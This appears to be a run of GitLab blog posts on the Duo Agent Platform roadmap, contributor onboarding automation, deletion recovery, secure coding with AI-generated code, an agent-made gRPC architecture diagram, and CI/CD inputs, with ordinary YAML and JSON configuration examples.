Agent observability: As agents become more autonomous, we're building comprehensive visibility into their activity as they progress through Flows, enabling you to monitor their decision-making processes, track execution steps, and understand how they're interpreting and acting on your development challenges. This transparency into agent behavior builds trust and confidence while allowing you to optimize workflows and identify bottlenecks, and helps ensure agents are performing exactly as intended.
AI Catalog: Recognizing that great solutions come from community innovation, we will soon introduce the public beta of our AI Catalog — a marketplace which will allow you to extend Duo Agent Platform with specialized Agents and Flows sourced from GitLab, and over time, the broader community. You'll be able to quickly deploy these solutions in GitLab, leveraging context across your projects and codebase.
Knowledge Graph: Leveraging GitLab's unique advantage as the system of record for source code and its surrounding context, we're building a comprehensive Knowledge Graph that not only maps files and dependencies across the codebase but also makes that map navigable for users while accelerating AI query times and helping increase accuracy. This foundation enables GitLab Duo agents to quickly understand relationships across your entire development environment, from code dependencies to deployment patterns, unlocking faster and more precise responses to complex questions.

Create and edit agents and Flows: Understanding that every organization has unique workflows and requirements, we're developing powerful agent and Flow creation and editing capabilities that will be introduced as the AI Catalog matures. You'll be able to create and modify agents and Flows to operate precisely the way your organization works, delivering deep customization across the Duo Agent Platform that enables higher quality results and increased productivity.

Official GitLab MCP Server: Recognizing that developers work across multiple tools and environments, we're building an official GitLab MCP server that will enable you to access all of your agents and Flows via MCP. You'll be able to connect to and collaborate with your agents and Flows from anywhere MCP is supported, including popular tools like Claude Code, Cursor, Copilot, and Windsurf, unlocking seamless AI collaboration regardless of your preferred development environment.
GitLab Duo Agent Platform CLI: Our upcoming CLI will allow you to invoke agents and trigger Flows on the command line, leveraging GitLab's rich context across the entire software development lifecycle—from code repositories and merge requests to CI/CD pipelines and issue tracking.

Get started now

GitLab Premium and Ultimate customers in GitLab.com and self-managed environments using GitLab 18.2 can use Duo Agent Platform immediately (beta and experimental features for GitLab Duo must be enabled). GitLab Dedicated customers will be able to use the Duo Agent Platform with the release of GitLab 18.2 for Dedicated next month.
Users should download the VS Code extension or the JetBrains IDEs plugin and follow our guide to using GitLab Duo Agentic Chat, including Duo Chat slash commands.

New to GitLab? See GitLab Duo Agent Platform in action at our Technical Demo, offered in two timezone-friendly sessions: Americas and EMEA and Asia-Pacific. To get hands-on with GitLab Duo Agent Platform yourself, sign up for a free trial today.

This blog post contains “forward-looking statements” within the meaning of Section 27A of the Securities Act of 1933, as amended, and Section 21E of the Securities Exchange Act of 1934. Although we believe that the expectations reflected in the forward-looking statements contained in this blog post are reasonable, they are subject to known and unknown risks, uncertainties, assumptions and other factors that may cause actual results or outcomes to be materially different from any future results or outcomes expressed or implied by the forward-looking statements.

Further information on risks, uncertainties, and other factors that could cause actual outcomes and results to differ materially from those included in or contemplated by the forward-looking statements contained in this blog post are included under the caption “Risk Factors” and elsewhere in the filings and reports we make with the Securities and Exchange Commission. We do not undertake any obligation to update or release any revisions to any forward-looking statement or to report any events or circumstances after the date of this blog post or to reflect the occurrence of unanticipated events, except as required by law.

How we use GitLab to grow open source communities

2025-07-15T00:00:00.000Z

GitLab's Contributor Success team faced a challenge. While our returning open source contributors were merging more code changes and collaborating on deeper features, first-time contributors were struggling to get started. We knew many newcomers to open source often gave up or never asked for help. But as advocates for GitLab's mission to enable everyone to contribute, we wanted to do better.

We started running research studies on open source contributors to GitLab. Then we improved the stumbling blocks. In January, we achieved a record of 184 unique community contributors to GitLab in a single month, exceeding our team target of 170 for the first time.

Three months later, we broke it again with 192.

Here's how we used GitLab's own tools to solve the newcomer dilemma and grow our open source community.

What we learned studying first-time contributors

In 2023, we conducted the first-ever user study of GitLab open source contributors. We watched six participants who had never contributed to GitLab make their first attempt. They completed diary studies and Zoom interviews detailing their experience.

Participants told us:

The contributor documentation was confusing
Getting started felt overwhelming
It wasn't clear how or where to find help

Only one out of the six participants successfully merged a code contribution to GitLab during the study.

It became clear we needed to focus on the onboarding experience if we wanted new contributors to succeed. So we iterated!

Our team spent the next year addressing their challenges. We used GitLab tools, such as issue templates, scheduled pipelines, webhooks, and the GitLab Query Language (GLQL), to build an innovative semi-automated onboarding solution.

In 2025, we performed a follow-up user study with new participants who had never made a contribution to GitLab. All 10 participants successfully created and merged contributions to GitLab, a 100% success rate. The feedback showed a great appreciation for the new onboarding process, the speed at which maintainers checked in on contributors, and the recognition we offered to contributors.

Even better, participants shared how much fun they had contributing: "I felt a little rush of excitement at being able to say 'I helped build GitLab.'"

We built personal onboarding with GitLab

Our solution started with engagement. To help newcomers get started, we introduced a personal onboarding process connecting each contributor with a community maintainer.

We created an issue template with a clear checklist of tasks.

The onboarding issue also handles access approval for the GitLab community forks, a collection of shared projects that make it easier to push changes, collaborate with others, and access GitLab Ultimate and Duo features.

Using scoped labels, we indicate the status of the access request for easy maintainer follow-ups.

We started with a Ruby script run via a scheduled pipeline, checking for new access requests and using the issue template to create personalized onboarding issues.

From here, our maintainers engage with new contributors to verify access, answer questions, and find issues.

We standardized responses with comment templates

With multiple maintainers in the GitLab community, we wanted to ensure consistent and clear messaging.

We created comment templates, which we sync with the repository using the GraphQL API and a Ruby script.

The script is triggered in .gitlab-ci.yml when comment template changes are pushed to the default branch (a dry run is triggered in merge requests).

execute:sync-comment-templates:
  stage: execute
  extends: .ruby
  script:
    - bundle exec bin/sync_comment_templates.rb
  variables:
    SYNC_COMMENT_TEMPLATES_GITLAB_API_TOKEN: $SYNC_COMMENT_TEMPLATES_GITLAB_API_TOKEN_READ_ONLY
  rules:
    - if: $CI_PIPELINE_SOURCE == 'schedule' || $CI_PIPELINE_SOURCE == "trigger"
      when: never
    - if: $EXECUTE_SYNC_COMMENT_TEMPLATES == '1'
    - if: $CI_MERGE_REQUEST_IID
      changes:
        - .gitlab/comment_templates/**/*
      variables:
        REPORT_ONLY: 1
    - if: $CI_COMMIT_REF_NAME == $CI_DEFAULT_BRANCH
      changes:
        - .gitlab/comment_templates/**/*
      variables:
        FORCE_SYNC: 1
        DRY_RUN: 0
        SYNC_COMMENT_TEMPLATES_GITLAB_API_TOKEN: $SYNC_COMMENT_TEMPLATES_GITLAB_API_TOKEN_READ_WRITE

We eliminated the 5-minute wait time

Our first iteration was a little slow. After starting the onboarding process, contributors wondered what to do next while the scheduled pipeline took up to 5 minutes to create their onboarding issue. Five minutes feels like forever when you have the momentum to dive in.

Niklas, a member of our Core team , built a solution. He added webhook events for access requests and custom payload templates for webhooks.

These features together allowed us to trigger a pipeline immediately instead of waiting for the schedule. This reduces the time to roughly 40 seconds (the time it takes for the CI pipeline to run) and generates the onboarding issue right away. It also saves thousands of wasted pipelines and compute minutes when no access requests actually need processing.

We set up a pipeline trigger token and used this as the target for the webhook, passing the desired environment variables:

{
  "ref": "main",
  "variables": {
    "EXECUTE_ACCESS_REQUESTS": "1",
    "DRY_RUN": "0",
    "PIPELINE_NAME": "Create onboarding issues",
    "GROUP_ID": "{{group_id}}",
    "EVENT_NAME": "{{event_name}}"
  }
}

We automated follow-ups

With an increasing volume of customers and community contributors onboarding to the GitLab community, maintainers struggled to track which issues needed attention and some follow-up questions got lost.

We built automation leveraging webhooks and Ruby to label issues updated by community members. This creates a clear signal of issue status for maintainers.

GitLab Triage automatically nudges idle onboarding issues to ensure we maintain contributor momentum.

We organized issue tracking with GLQL

We built a GLQL view to keep track of issues. This GLQL table summarizes onboarding issues which need attention, so maintainers can review and follow up with community members.

These GLQL views improved our overall triage efficiency. It was so successful we ended up using this strategy within the GitLab for Open Source and GitLab for Education programs, too. With GLQL tables for support issues, these community programs lowered their response times by 75%.

We made the README findable

The @gitlab-community group is the home for contributors on Gitlab.com. We already had a README.md file explaining the community forks and onboarding process, but this file lived in our meta project. With our follow-up user study, we discovered this was a point of confusion for newcomers when their onboarding issues were under a different project.

We used GitLab's project mirroring to solve this and mirrored the meta project to gitlab-profile. This surfaced the existing README file at the group level, making it easier to discover.

The results speak for themselves

By dogfooding GitLab, we improved the stumbling blocks found in our research studies and transformed the GitLab contributor journey. We have grown the number of customers and community members contributing to GitLab, adding features to the product, solving bugs, and adding to our CI/CD catalog.

Our onboarding process has increased the rate newcomers join the community, and our total number of contributors on the community forks has doubled over the last 9 months.

We reduced the time it takes for newcomers to make their first contribution by connecting them with maintainers faster and supporting them in getting started. We use GitLab's value stream analytics to track our response rates.

First response time from community maintainers is down to 46 minutes over the last 3 months
Average approval time for community forks access is down to 1 hour over the last 3 months

The 100% success rate of our 2025 user study confirmed these improvements for our first-time contributors.

We invested time savings into contributor recognition

Fixing these newcomer challenges allowed us more capacity to focus on better recognition of contributors, incentivizing first-timers to keep coming back. The result is contributors.gitlab.com. We built out a central hub for our contributors that features gamified leaderboards, achievements, and rewards. Contributors can see their impact, track progress, and grow in the community.

Sharing what we learned

These improvements work and are repeatable for other open source projects. We are sharing our approach across communities and conferences so that other projects can consider using these tools to grow.

As more organizations learn the barriers to participation, we can create a more welcoming open source environment. With these GitLab tools, we can offer a smoother experience for both contributors and maintainers. We're committed to advancing this work and collaborating to remove barriers for open source projects everywhere.

Start the conversation

Want to learn more about growing your contributor community? Email contributors@gitlab.com or open an issue to start a discussion. We're here to help build communities.

Improving GitLab's deletion flow: What to expect in coming months

2025-07-14T00:00:00.000Z

At GitLab, we're committed to continuously improving your experience across our platform. Today, we're excited to announce significant enhancements to our deletion flow for groups and projects. We are rolling out a series of improvements designed to protect your data, simplify recovery, and create a more intuitive experience across all pricing tiers.

Why we're making these changes

Our current deletion flow has some inconsistencies that can lead to frustrating experiences. Free tier users have had limited or no options for recovering accidentally deleted content, projects in personal namespaces haven't had the same protections as those in groups, and group namespace paths have remained locked after deletion, preventing immediate reuse.

We've heard your feedback, and we're addressing these pain points with a comprehensive redesign of our deletion flow that will be rolled out in multiple iterations.

What has changed already

Over the past quarter, we have implemented fundamental improvements to create a consistent deletion experience across all pricing tiers. These changes have eliminated the frustration of accidentally deleting important content with no recovery option.

Pending deletion for all users: All deleted projects and groups now enter a "pending deletion" state before being permanently deleted, regardless of their pricing tier.
Self-service recovery: You can now restore your own content without contacting support, giving you more control and autonomy over your data.
Clear status indicators: We have standardized how deletion status is displayed across the platform, making it immediately clear when content is pending deletion.
Extended recovery window: On July 10, 2025, we increased the pending deletion period from 7 to 30 days on GitLab.com. This means you now have ample time to recover from accidental deletions.

What's coming next

Currently in development

Building on the foundation established in our first iteration, we are further enhancing your deletion experience with two key improvements:

Admin area consistency: Deletions initiated from the Admin area will follow the same pending deletion process as deletions initiated directly from the group or project level, creating a unified experience across all access points.
Immediate path reuse: When you delete a project or group, its namespace path will be automatically renamed, allowing you to immediately reuse the original path for new content. This will remove the waiting period currently required to reuse namespace paths.

Planned for future release

The final phase will introduce a redesigned deletion experience that completes our vision for a modern, intuitive deletion system:

Centralized "Trash" interface: All your deleted content will be accessible in a dedicated "Trash" section, providing a familiar paradigm similar to what you're used to in other applications.
Clear action separation: We will create a clear distinction between "Delete" (temporary, recoverable) and "Delete Permanently" (irrevocable) actions to prevent accidental data loss.
Bulk management: You'll be able to restore or permanently delete multiple items at once, making cleanup and recovery more efficient.

How these changes benefit you

These enhancements deliver several key benefits that will transform your experience with GitLab's deletion functionality.

Protection against data loss is provided through pending deletion and self-service recovery available across all tiers, giving you a safety net against accidental deletions. The consistent experience ensures the same deletion flow applies to all projects and groups, eliminating inconsistencies across the platform.
You'll gain greater control through enhanced visibility and management options for deleted content, with a familiar interface that makes recovery intuitive. Improved workflow efficiency will result from immediate path reuse and bulk management capabilities that streamline your content organization process.
Most importantly, you'll have peace of mind knowing that the extended 30-day recovery window ensures ample opportunity to recover important data, while the clear separation between temporary and permanent deletion actions prevents accidental data loss.

Your feedback matters

As always, we value your input. Please leave feedback in the feedback issue.

3 best practices for building software in the era of LLMs

2025-07-10T00:00:00.000Z

AI has rapidly become a core part of modern software development. Not only is it helping developers code faster than ever, but it’s also automating low-level tasks like writing test cases or summarizing documentation. According to our 2024 Global DevSecOps Survey, 81% of developers are already using AI in their workflows or plan to in the next two years.

As code is written with less manual effort, we’re seeing a subtle but important behavioral change: Developers are beginning to trust AI-generated code with less scrutiny. That confidence — understandable as it may be — can quietly introduce security risks, especially as the overall volume of code increases. Developers can’t be expected to stay on top of every vulnerability or exploit, which is why we need systems and safeguards that scale with them. AI tools are here to stay. So, as security professionals, it’s incumbent on you to empower developers to adopt them in a way that improves both speed and security.

Here are three practical ways to do that.

Never trust, always verify

As mentioned above, developers are beginning to trust AI-generated code more readily, especially when it looks clean and compiles without error. To combat this, adopt a zero-trust mindset. While we often talk about zero trust in the context of identity and access management, the same principle can be applied here with a slightly different framing. Treat AI-generated code like input from a junior developer: helpful, but not production-ready without a proper review.

A developer should be able to explain what the code is doing and why it’s safe before it gets merged. Reviewing AI-generated code might even shape up to be an emerging skillset required in the world of software development. The developers who excel at this will be indispensable because they’ll marry the speed of LLMs with the risk reduction mindset to produce secure code, faster.

This is where tools like GitLab Duo Code Review can help. As a feature of our AI companion across the software development lifecycle, it brings AI into the code review process, not to replace human judgment, but to enhance it. By surfacing questions, inconsistencies, and overlooked issues in the merge requests, AI can help developers keep up with the very AI that’s accelerating development cycles.

Prompt for secure patterns

Large language models (LLMs) are powerful, but only as precise as the prompts they’re given. That’s why prompt engineering is becoming a core part of working with AI tools. In the world of LLMs, your input is the interface. Developers who learn to write clear, security-aware prompts will play a key role in building safer software from the start.

For example, vague requests like “build a login form” often produce insecure or overly simplistic results. However, by including more context, such as “build a login form with input validation, rate limiting, and hashing, and support phishing-resistant authentication methods like passkeys,” you’re more likely to produce an output that meets the security standards of your organization.

Recent research from Backlash Security backs this up. They found that secure prompting improved results across popular LLMs. When developers simply asked models to “write secure code,” success rates remained low. However, when prompts referenced OWASP best practices, the rate of secure code generation increased.

Prompt engineering should be part of how we train and empower security champions within development teams. Just like we teach secure coding patterns and threat modeling, we should also be teaching developers how to guide AI tools with the same security mindset.

Learn more with these helpful prompt engineering tips.

Scan everything, no exceptions

The rise of AI means we’re writing more code, quicker, with the same number of humans. That shift should change how we think about security, not just as a final check, but as an always-on safeguard woven into every aspect of the development process.

More code means a wider attack surface. And when that code is partially or fully generated, we can’t solely rely on secure coding practices or individual intuition to spot risks. That’s where automated scanning comes in. Static Application Security Testing (SAST), Software Composition Analysis (SCA), and Secret Detection become critical controls to mitigate the risk of secret leaks, supply chain attacks, and weaknesses like SQL injections. With platforms like GitLab, application security is natively built into the developer's workflow, making it a natural part of the development lifecycle. Scanners can also trace through the entire program to make sure new AI-generated code is secure in the context of all the other code — that can be hard to spot if you’re just looking at some new code in your IDE or in an AI-generated patch.

But it’s not just about scanning, it’s about keeping pace. If development teams are going to match the speed of AI-assisted development, they need scans that are fast, accurate, and built to scale. Accuracy especially matters. If scanners overwhelm developers with false positives, there’s a risk of losing trust in the system altogether.

The only way to move fast and stay secure is to make scanning non-negotiable.

Every commit. Every branch. No exceptions.

Secure your AI-generated code with GitLab

AI is changing the way we build software, but the fundamentals of secure software development still apply. Code still needs to be reviewed. Threats still need to be tested. And security still needs to be embedded in the way we work. At GitLab, that’s exactly what we’ve done.

As a developer platform, we’re not bolting security onto the workflow — we’re embedding it directly where developers already work: in the IDE, in merge requests, and in the pipeline. Scans run automatically and relevant security context is surfaced to facilitate faster remediation cycles. And, because it’s part of the same platform where developers build, test, and deploy software, there are fewer tools to juggle, less context switching, and a much smoother path to secure code.

AI features like Duo Vulnerability Explanation and Vulnerability Resolution add another layer of speed and insight, helping developers understand risks and fix them faster, without breaking their flow.

AI isn’t a shortcut to security. But with the right practices — and a platform that meets developers where they are — it can absolutely be part of building software that’s fast, secure, and scalable.

Start your free 60-day trial of GitLab Ultimate with Duo Enterprise and experience what it’s like to build secure software, faster. With native security scanning, AI-powered insights, and a seamless developer experience, GitLab helps you shift security left without slowing down.

Accelerate learning with GitLab Duo Agent Platform

2025-07-07T00:00:00.000Z

At GitLab, we continue to expand our AI capabilities so I often find myself learning and working in new codebases. Whether I'm debugging issues, implementing new features, or onboarding to different projects, understanding system architecture quickly is crucial. But let's be honest — manually tracing through complex communication flows, especially gRPC connections, can eat up hours of productive development time.

This is exactly the type of tedious, yet necessary, work GitLab Duo Agent Platform is designed to handle. Instead of replacing developers, it amplifies our capabilities by automating routine tasks so we can focus on creative problem solving and strategic technical work.

Let me show you how I used Duo Agent Platform to generate comprehensive documentation for a Golang project's gRPC communication flow — and how it transformed hours of code analysis into a few minutes of guided interaction.

You can follow along with this video:

The challenge: Understanding gRPC communication flows

I was working with a project called "Duo Workflow Executor" that communicates with a gRPC server. Rather than spending my afternoon manually tracing through the codebase to understand the communication patterns, I decided to let Duo Agent Platform handle the heavy lifting.

My goal was simple: generate a clear diagram showing how the gRPC communication works, including what payloads are received, what actions are executed, and what responses are sent back.

Working in VS Code with the GitLab Workflow extension installed, I opened the project and crafted a specific prompt for Duo Agent Platform:

"Can you prepare a mermaid diagram that shows the gRPC connection between duo-workflow-service and this project. It should show what this project receives in gRPC payload, and what actions it executes based on the payload, and what it sends back. Study internal/services/runner/runner.go, especially the Run method, and write the mermaid output to a grpc.md file."

Duo Agent Platform didn't just blindly execute my request — it began intelligently gathering context to create a comprehensive execution plan. The platform automatically:

Searched through relevant Go files in the project
Read the specific file I mentioned (runner.go)
Identified additional files that would provide necessary context
Analyzed the codebase structure to understand the gRPC implementation

This contextual awareness is what sets agentic AI tools with great context apart from simple code generation tools. Instead of working in isolation, Duo Agent Platform understands the relationships between different components of your project.

Collaborative refinement

Rather than making assumptions, Duo Agent Platform is designed to keep a human in the loop at critical moments in task execution to deliver better results. In this scenario, the platform paused to ask clarifying questions about the level of detail I wanted.

Agent: "Should I include error handling details in the diagram?"

Me: "Don't focus on error handling. Include all actions. Focus on gRPC payload."

This back-and-forth refinement is crucial. The agent isn't just executing commands — it's working with me to ensure the deliverable meets my specific requirements.

Execution and results

With the clarified requirements, Duo Agent Platform finalized its execution plan and requested confirmation before proceeding. I could have modified the approach at this stage, but the plan was perfectly aligned with what I needed.

The agent then executed each task in sequence, providing real-time progress updates. Within minutes, it had:

Analyzed all relevant files across the project
Created comprehensive documentation with a detailed mermaid diagram
Saved everything to the requested grpc.md file
Included valuable context about outgoing payloads and connection management

The resulting documentation wasn't just a basic diagram — it was thorough, accurate, and immediately useful for understanding the system architecture.

Reviewing the output

Here's the actual mermaid diagram that Duo Agent Platform created, showing the complete gRPC communication flow:

sequenceDiagram
participant DWS as duo-workflow-service
participant DWE as duo-workflow-executor
participant Runner as ExecutionRunner
participant ActionExecutor as Action Executor
participant FileSystem as File System/Commands


Note over DWS, DWE: gRPC Bidirectional Streaming (ExecuteWorkflow)

%% Connection Establishment
DWE->>DWS: gRPC Connection with Headers
Note over DWE, DWS: Headers: authorization (Bearer token)
x-gitlab-authentication-type: oidc
x-gitlab-realm, x-gitlab-global-user-id
x-gitlab-oauth-token, x-gitlab-base-url
x-gitlab-instance-id, x-request-id
x-gitlab-namespace-id, x-gitlab-project-id


%% Workflow Start Request
DWE->>DWS: ClientEvent{StartWorkflowRequest}
Note over DWE, DWS: StartWorkflowRequest:
- ClientVersion
- WorkflowDefinition
- Goal
- WorkflowID
- WorkflowMetadata
- ClientCapabilities[]


%% Action Processing Loop
loop Action Processing
    DWS->>DWE: Action Message
    Note over DWS, DWE: Action Types:
- Action_RunCommand {program, flags[], arguments[]}
- Action_RunGitCommand {command, arguments[], repositoryUrl}
- Action_RunReadFile {filepath}
- Action_RunWriteFile {filepath, contents}
- Action_RunEditFile {filepath, oldString, newString}
- Action_RunHTTPRequest {method, path, body}
- Action_ListDirectory {directory}
- Action_FindFiles {namePattern}
- Action_Grep {searchDirectory, pattern, caseInsensitive}
- Action_NewCheckpoint {}
- Action_RunMCPTool {}


    DWE->>Runner: Receive Action
    Runner->>Runner: processWorkflowActions()
    Runner->>ActionExecutor: executeAction(ctx, action)
    
    alt Action_RunCommand
        ActionExecutor->>FileSystem: Execute Shell Command
        Note over ActionExecutor, FileSystem: Executes: program + flags + arguments
in basePath directory
        FileSystem-->>ActionExecutor: Command Output + Exit Code
    
    else Action_RunReadFile
        ActionExecutor->>FileSystem: Read File
        Note over ActionExecutor, FileSystem: Check gitignore rules
Read file contents
        FileSystem-->>ActionExecutor: File Contents
    
    else Action_RunWriteFile
        ActionExecutor->>FileSystem: Write File
        Note over ActionExecutor, FileSystem: Check gitignore rules
Create/overwrite file
        FileSystem-->>ActionExecutor: Success/Error Message
    
    else Action_RunEditFile
        ActionExecutor->>FileSystem: Edit File
        Note over ActionExecutor, FileSystem: Read → Replace oldString with newString → Write
Check gitignore rules
        FileSystem-->>ActionExecutor: Edit Result Message
    
    else Action_RunGitCommand
        ActionExecutor->>FileSystem: Execute Git Command 
        Note over ActionExecutor, FileSystem: Git operations with authentication
Uses provided git config
        FileSystem-->>ActionExecutor: Git Command Output
    
    else Action_RunHTTPRequest
        ActionExecutor->>DWS: HTTP Request to GitLab API
        Note over ActionExecutor, DWS: Method: GET/POST/PUT/DELETE
Path: API endpoint
Body: Request payload
Headers: Authorization
        DWS-->>ActionExecutor: HTTP Response
    
    else Action_ListDirectory
        ActionExecutor->>FileSystem: List Directory Contents
        Note over ActionExecutor, FileSystem: Respect gitignore rules
        FileSystem-->>ActionExecutor: Directory Listing
    
    else Action_FindFiles
        ActionExecutor->>FileSystem: Find Files by Pattern
        Note over ActionExecutor, FileSystem: Recursive search with name pattern
Respect gitignore rules
        FileSystem-->>ActionExecutor: File Paths List
    
    else Action_Grep
        ActionExecutor->>FileSystem: Search Text Pattern
        Note over ActionExecutor, FileSystem: Recursive text search
Case sensitive/insensitive option
        FileSystem-->>ActionExecutor: Search Results
    
    else Action_NewCheckpoint/Action_RunMCPTool
        ActionExecutor->>ActionExecutor: No-op Action
        Note over ActionExecutor: Returns empty success result
    end


    ActionExecutor-->>Runner: Action Result (string)
    
    alt Result Size Check
        Runner->>Runner: Check if result > 4MB
        Note over Runner: If result exceeds MaxMessageSize (4MB)
Replace with error message about size limit
    end


    Runner->>DWE: ActionResponse
    DWE->>DWS: ClientEvent{ActionResponse}
    Note over DWE, DWS: ActionResponse:
- RequestID (matches Action.RequestID)
- Response (execution result string)
end


%% Workflow Completion
DWE->>DWS: CloseSend()
Note over DWE, DWS: Signal end of workflow execution


%% Analytics and Cleanup
Runner->>Runner: Send Analytics Event (Finish)
DWE->>DWE: Token Revocation (if enabled)
DWE->>DWS: Close gRPC Connection

This diagram reveals several important architectural insights that would have taken considerable time to extract manually:

Bidirectional communication: The workflow executor both initiates requests and responds to service actions.
Rich payload structure: Each action type has specific parameters and expected responses.
Multiple integration points: The executor interacts with local filesystem, Git repositories, and GitLab APIs.
Comprehensive action set: Nine different action types handle everything from file operations to HTTP requests.
Proper lifecycle management: Clear connection establishment and teardown patterns.

What impressed me most was how the agent automatically included the detailed payload structures for each action type. This level of detail transforms the diagram from a high-level overview into actionable documentation that other developers can immediately use.

Looking ahead

This demonstration represents just one use case for GitLab Duo Agent Platform. The same contextual understanding and collaborative approach that made documentation generation seamless can be applied to:

Code reviews: Agents can analyze merge requests with full project context
Testing: Generate comprehensive test suites based on actual usage patterns
Debugging: Trace issues across multiple services and components
Security scanning: Identify vulnerabilities with understanding of your specific architecture
CI/CD optimization: Improve pipeline performance based on historical data

GitLab Duo Agent Platform will enter public beta soon so join the wait list today.

Stay tuned to the GitLab Blog and social channels for additional updates. GitLab Duo Agent Platform is evolving rapidly with specialized agents, custom workflows, and community-driven extensions on the roadmap.

Learn more

CI/CD inputs: Secure and preferred method to pass parameters to a pipeline

2025-07-07T00:00:00.000Z

GitLab CI/CD inputs represent the future of pipeline parameter passing. As a purpose-built feature designed specifically for typed parameters with validation, clear contracts, and enhanced security, inputs solve the fundamental challenges that teams have been working around with variables for years.

While CI/CD variables have served as the traditional method for passing parameters to pipelines, they were originally designed for storing configuration settings — not as a sophisticated parameter-passing mechanism for complex workflows. This fundamental mismatch has created reliability issues, security concerns, and maintenance overhead that inputs elegantly eliminate.

This article demonstrates why CI/CD inputs should be your preferred approach for pipeline parameters. You'll discover how inputs provide type safety, prevent common pipeline failures, eliminate variable collision issues, and create more maintainable automation. You'll also see practical examples of inputs in action and how they solve real-world challenges, which we hope will encourage you to transition from variable-based workarounds to input-powered reliability.

The hidden costs of variable-based parameter passing

The problems with using variables for parameter passing are numerous and frustrating.

No type validation

Variables are strings. There is no type validation, meaning a pipeline expecting a boolean or a number, but accidentally receives a string. This leads to unexpected failures deep into the pipeline execution. In the case of a deployment workflow for example, hours after it was started a critical production deployment fails because a boolean check in a variable was not passed as expected.

Runtime mutability

Variables can be modified throughout the pipeline runtime, creating unpredictable behavior when multiple jobs attempt to change the same values. For example, deploy_job_a sets DEPLOY_ENV=staging, but deploy_job_b changes the DEPLOY_ENV value to production.

Security risks

Security concerns arise because variables intended as simple parameters often receive the same access permissions as sensitive secrets. There's no clear contract defining what parameters a pipeline expects, their types, or their default values. A simple BUILD_TYPE parameter, that seems innocuous at first glance, suddenly has access to production secrets simply because variables do not inherently distinguish between parameters and sensitive data.

Perhaps most problematically, error detection happens too late in the process. A misconfigured variable might not cause a failure until minutes or even hours into a pipeline run, wasting valuable CI/CD resources and developer time. Teams have developed elaborate workarounds such as custom validation scripts, extensive documentation, and complex naming conventions just to make variable-based parameter passing somewhat reliable.

Many users have requested local debugging capabilities to test pipeline configurations before deployment. While this seems like an obvious solution, it quickly breaks down in practice. Enterprise CI/CD workflows integrate with dozens of external systems — cloud providers, artifact repositories, security scanners, deployment targets — that simply can't be replicated locally. Even if they could, the complexity would make local testing environments nearly impossible to maintain. This mismatch forced us to reframe the problem entirely. Instead of asking "How can we test pipelines locally?" we started asking "How can we prevent configuration issues caused by variable-based parameter passing before users run a CI/CD automation workflow?"

Understanding variable precedence

GitLab's variable system includes multiple precedence levels to provide flexibility for different use cases. While this system serves many valid scenarios like allowing administrators to set instance- or group-wide defaults while letting individual projects override them when needed, it can create challenges when building reusable pipeline components.

When creating components or templates that will be used across different projects and groups, the variable precedence hierarchy can make behavior less predictable. For example, a template that works perfectly in one project might behave differently in another due to group- or instance-level variable overrides that aren't visible in a pipeline configuration.

When including multiple templates, it also can be challenging to track which variables are being set where and how they might interact.

In addition, components authors need to document not just what variables their template uses, but also potential conflicts with variables that might be defined at higher precedence levels.

Variable precedence examples

Main pipeline file (.gitlab-ci.yml):


variables:
  ENVIRONMENT: production  # Top-level default for all jobs
  DATABASE_URL: prod-db.example.com

include:
  - local: 'templates/test-template.yml'
  - local: 'templates/deploy-template.yml'

Test template (templates/test-template.yml):


run-tests:
  variables:
    ENVIRONMENT: test  # Job-level variable overrides the default
  script:
    - echo "Running tests in $ENVIRONMENT environment"  
    - echo "Database URL is $DATABASE_URL"  # Still inherits prod-db.example.com!
    - run-integration-tests --env=$ENVIRONMENT --db=$DATABASE_URL
    `# Issue: Tests run in "test" environment but against production database`

Deploy template (templates/deploy-template.yml):


deploy-app:
  script:
    - echo "Deploying to $ENVIRONMENT"  # Uses production (top-level default)
    - echo "Database URL is $DATABASE_URL"  # Uses prod-db.example.com
    - deploy --target=$ENVIRONMENT --db=$DATABASE_URL
    # This will deploy to production as intended

The challenges in this example:

Partial inheritance: The test job gets ENVIRONMENT=test but still inherits DATABASE_URL=prod-db.example.com.
Coordination complexity: Template authors must know what top-level variables exist and might conflict.
Override behavior: Job-level variables with the same name override defaults, but this isn't always obvious.
Hidden dependencies: Templates become dependent on the main pipeline's variable names.

GitLab recognized these pain points and introduced CI/CD inputs as a purpose-built solution for passing parameters to pipelines, offering typed parameters with built-in validation that occurs at pipeline creation time rather than during execution.

CI/CD inputs fundamentals

Inputs provide typed parameters for reusable pipeline configuration with built-in validation at pipeline creation time, designed specifically for defining values when the pipeline runs. They create a clear contract between the pipeline consumer and the configuration, explicitly defining what parameters are expected, their types, and constraints.

Configuration flexibility and scope

One of the advantages of inputs is their configuration-time flexibility. Inputs are evaluated and interpolated during pipeline creation using the interpolation format $[[ inputs.input-id ]], meaning they can be used anywhere in your pipeline configuration — including job names, rules conditions, images, and any other YAML configuration element. This eliminates the long-standing limitation of variable interpolation in certain contexts.

One common use case we've seen is that users define their job names like test-$[[ inputs.environment ]]-deployment.

When using inputs in job names, you can prevent naming conflicts when the same component is included multiple times in a single pipeline. Without this capability, including the same component twice would result in job name collisions, with the second inclusion overwriting the first. Input-based job names ensure each inclusion creates uniquely named jobs.

Before inputs:


test-service:
  variables:
    SERVICE_NAME: auth-service
    ENVIRONMENT: staging
  script:
    - run-tests-for $SERVICE_NAME in $ENVIRONMENT

With inputs:


spec:
  inputs:
    environment:
      type: string
    service_name:
      type: string

test-$[[ inputs.service_name ]]-$[[ inputs.environment ]]:
  script:
    - run-tests-for $[[ inputs.service_name ]] in $[[ inputs.environment ]]

When included multiple times with different inputs, this creates jobs like test-auth-service-staging, test-payment-service-production, and test-notification-service-development. Each job has a unique, meaningful name that clearly indicates its purpose, making pipeline visualization much clearer than having multiple jobs with identical names that would overwrite each other.

Now let's go back to the first example in the top of this blog and use inputs, one immediate benefit is that instead of maintaining multiple templates file we can use one reusable template with different input values:


spec:
  inputs:
    environment:
      type: string
    database_url:
      type: string
    action:
      type: string
---

$[[ inputs.action ]]-$[[ inputs.environment ]]:
  script:
    - echo "Running $[[ inputs.action ]] in $[[ inputs.environment ]] environment"
    - echo "Database URL is $[[ inputs.database_url ]]"
    - run-$[[ inputs.action ]] --env=$[[ inputs.environment ]] --db=$[[ inputs.database_url ]]

And in the main gitlab-ci.yml file we can include it twice (or more) with different values, making sure we avoid naming collisions


include:
  - local: 'templates/environment-template.yml'
    inputs:
      environment: test
      database_url: test-db.example.com
      action: tests
  - local: 'templates/environment-template.yml'
    inputs:
      environment: production
      database_url: prod-db.example.com
      action: deploy

